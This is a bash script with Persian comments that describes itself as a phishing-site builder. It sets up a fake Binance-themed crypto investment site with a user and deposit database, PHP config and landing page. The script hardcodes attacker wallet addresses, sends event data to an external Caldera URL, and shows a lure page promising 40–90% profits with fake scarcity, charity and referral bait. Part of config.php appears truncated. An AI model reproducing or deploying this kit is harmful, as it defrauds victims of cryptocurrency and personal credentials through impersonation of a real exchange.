#!/bin/bash # ============================================================ # اسکریپت ساخت سایت فیشینگ (فقط سایت) # ============================================================ echo "🚀 شروع ساخت سایت فیشینگ..." echo "================================================" # ============================================================ # ۱. نصب پیشنیازها # ============================================================ echo "📦 نصب پیشنیازها..." sudo apt update -qq sudo apt install -y php php-sqlite3 php-curl php-mbstring -y # ============================================================ # ۲. ساخت پوشهها # ============================================================ echo "📁 ساخت پوشهها..." mkdir -p ~/projects/binance-phish/database cd ~/projects/binance-phish # ============================================================ # ۳. پایگاه داده # ============================================================ echo "📊 ساخت پایگاه داده..." sqlite3 database/users.db << 'EOF' CREATE TABLE IF NOT EXISTS users ( id INTEGER PRIMARY KEY AUTOINCREMENT, username TEXT UNIQUE NOT NULL, password TEXT NOT NULL, email TEXT UNIQUE NOT NULL, balance REAL DEFAULT 10, total_deposit REAL DEFAULT 0, total_profit REAL DEFAULT 0, referral_code TEXT UNIQUE, referred_by INTEGER, referral_count INTEGER DEFAULT 0, referral_bonus REAL DEFAULT 0, plan_used_step INTEGER DEFAULT 0, plan_used_stake INTEGER DEFAULT 0, plan_used_instant INTEGER DEFAULT 0, plan_used_charity INTEGER DEFAULT 0, login_count INTEGER DEFAULT 0, login_bonus_claimed INTEGER DEFAULT 0, vip_earned INTEGER DEFAULT 0, vip_bonus REAL DEFAULT 0, created_at DATETIME DEFAULT CURRENT_TIMESTAMP ); CREATE TABLE IF NOT EXISTS deposits ( id INTEGER PRIMARY KEY AUTOINCREMENT, user_id INTEGER, amount REAL, currency TEXT, plan TEXT, profit REAL, txid TEXT, status TEXT DEFAULT 'pending', created_at DATETIME DEFAULT CURRENT_TIMESTAMP, confirmed_at DATETIME ); CREATE TABLE IF NOT EXISTS settings ( key TEXT PRIMARY KEY, value TEXT ); INSERT OR IGNORE INTO settings (key, value) VALUES ('total_users', '0'); INSERT OR IGNORE INTO settings (key, value) VALUES ('max_users', '500'); EOF # ============================================================ # ۴. فایلهای سایت # ============================================================ echo "📝 ایجاد فایلهای سایت..." # config.php cat > config.php << 'PHP' true, 'secure' => true, 'samesite' => 'Strict']); session_start(); function generateCSRFToken() { if (empty($_SESSION['csrf_token'])) { $_SESSION['csrf_token'] = bin2hex(random_bytes(32)); } return $_SESSION['csrf_token']; } function verifyCSRFToken($token) { return isset($_SESSION['csrf_token']) && hash_equals($_SESSION['csrf_token'], $token); } function sanitizeInput($data) { return htmlspecialchars(strip_tags(trim($data)), ENT_QUOTES, 'UTF-8'); } function getDB() { static $db = null; if ($db === null) { try { $db = new PDO('sqlite:' . DB_FILE); $db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); $db->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC); } catch (PDOException $e) { die('Database connection failed.'); } } return $db; } function sendToCaldera($event, $data) { if (defined('CALDERA_URL') && CALDERA_URL) { @file_get_contents(CALDERA_URL . '/api/' . $event, false, stream_context_create([ 'http' => ['method' => 'POST', 'header' => 'Content-Type: application/json', 'content' => json_encode($data)] ])); } } $WALLETS = [ 'BTC' => 'bc1qu2yhszz2nztqv00vfyrpqvyjmdjjpv9a900wgu', 'USDT' => 'THcMS74Rv1FNUvxiDRbAz4hg5oY75kDhrv', 'TRX' => 'THcMS74Rv1FNUvxiDRbAz4hg5oY75kDhrv', 'BNB' => '0x2cDE88DFa196806DC1ca68314C22061f97b4A4b8', 'ETH' => '0xb35574B50ae545a0f51338C0c6b7d7bba1B998a5', 'LTC' => 'ltc1qwq3s30a3q7gv8s5lxnwzn6rcg2vl9p3typtmdn', 'XRP' => 'rUPTc3git3pJQ7RZmEvUvggCKPcb8WcXmy', 'SOL' => '2zamS5P1Smz59C4hdmBdPNcg2J7uYBxCmnjq6kR7VR5S', 'MATIC' => '0xb35574B50ae545a0f51338C0c6b7d7bba1B998a5', 'ADA' => 'addr1qx0m9tp5d8a8unurfdujm4pdv2w5rs6jqa20x0kerj4z4f8206d93aylrl9yqeld0svpa2d7eau9c86dcqteyq83z3dqtznruf' ]; ?> PHP # index.html cat > index.html << 'HTML'
A special gift from our exchange and premium sponsors.
🔥 Only 150 spots left!
Deposit $50–$1,000 | Profit 40%–90%
Stake $500–$20,000 | Daily Profit 4%–8%
Deposit $100–$10,000 | Profit 45%
Donate $1–$50 | Help patients in need
Invite friends and earn $100 USDT for every 5 referrals!